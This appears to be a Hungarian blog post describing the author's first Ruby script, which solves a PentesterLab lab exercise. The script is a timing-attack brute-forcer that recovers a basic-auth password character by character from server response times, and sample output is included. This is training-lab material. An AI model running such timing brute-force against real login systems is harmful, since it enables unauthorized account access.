Megírtam első password brute-forcelő programomat. (na jó ez azért nagy túlzás :) Az ihletet a pentester.lab Web for Pentester II. példái adták. Az Authentication 2-es példájánál volt egy feladat, hogy a válaszidőkből lehetett saccolni a jelsző betűire. Ha nagyobb volt a válaszidő, akkor a jelszót eltalálta az ember. Sebtében össze is dobtam egy kis pár soros programot ami végignézi az adott karaktert és kiírja a válaszidőket.
Íme a program:
require "net/http"
require "uri"
uri = URI.parse("http://vulnerable/authentication/example2")
http = Net::HTTP.new(uri.host, uri.port)
request = Net::HTTP::Get.new(uri.request_uri)
# pass = 'p4s....'
for a in ('a'..'z')
pass = "p4s" + a
request.basic_auth("hacker", pass)
start_time = Time.now
response = http.request(request)
elapsed_time = Time.now - start_time
print elapsed_time, pass, "n"
end
for a in ('A'..'Z')
pass = "p4s" + a
request.basic_auth("hacker", pass)
start_time = Time.now
response = http.request(request)
elapsed_time = Time.now - start_time
print elapsed_time, pass, "n"
end
for a in (0..9)
pass = "p4s" + a.to_s
request.basic_auth("hacker", pass)
start_time = Time.now
response = http.request(request)
elapsed_time = Time.now - start_time
print elapsed_time, pass, "n"
end
Valami ilyesmi outputja van:
...
1.812997502p4o
1.811892732p4p
1.811012498p4q
1.810557802p4r
2.009527982p4s
1.810828329p4t
1.809841847p4u
1.811344716p4v
...
Ebből látszik, hogy a 'p'-t és a '4'-est már előzőleg megtaláltam és a következő betű a jelszóban az 's'
(nyilván a jelszó p4ssw0rd lesz, de ha nem az lenne ezzel a módszerrel akkor is ki lehetne találni, ha véletlenszerű a kód... persze bele kéne tenni még a speciális karaktereket is...) Meg lehetne írni szépen is, hogy elindítom és magától megtalálja a kódot, de annyira még nem volt időm foglalkozni vele. Ha működik élesben is lehet, hogy megpróbálom összehozni. Bár nem nagyon hiszem, hogy éles helyzetben is ilyen eredményt adna, de ki lehet próbálni...Esetleg, ha valahol lehet következtetni a válaszidőkből valamire ott fel lehet használni ezt az elvet...
Mindenesetre megírtam életem első ruby kódját :)
király! ;)
VálaszTörlés